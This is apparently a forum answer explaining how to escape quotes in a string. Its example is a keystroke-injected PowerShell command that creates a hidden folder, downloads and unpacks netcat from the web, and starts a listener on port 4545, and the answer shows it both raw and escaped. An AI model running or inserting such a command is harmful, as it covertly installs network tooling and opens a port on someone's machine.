Printing multiple double qoutes in print statement
It seems you used \"" instead of only \" in several locations of this string. Also, since the string you want to send already includes the escape \ character, it must iself be escaped \\.

If the command you want to send to keyboard is:


  cd "$HOME"; $folder=mkdir "Misc"; $folder; $folder.Attributes= "Hidden"; $url="https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip"; $output = "$HOME\Misc\nc.zip"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace("$HOME\Misc\nc.zip") foreach ($item in $zip.items()) { $shell.NameSpace("$HOME\Misc").CopyHere($item)} ".\netcat-1.11\nc.exe" -lp 4545 > incoming.txt


Then you should escape it as follows:

"cd \"$HOME\"; $folder=mkdir \"Misc\"; $folder; $folder.Attributes= \"Hidden\"; $url=\"https://eternallybored.org/misc/netcat/netcat-win32-1.‌​11.zip\"; $output = \"$HOME\\Misc\\nc.zip\"; (New-Object System.Net.WebClient).DownloadFile($url,$output); $shell=NewObject -ComObject shell.application; $zip=$shell.NameSpace(\"$HOME\\Misc\\nc.zip\") foreach ($item in $zip.items()) { $shell.NameSpace(\"$HOME\\Misc\").CopyHere($item)} \".\\netcat-1.11\\nc.exe\" -lp 4545 &gt; incoming.txt"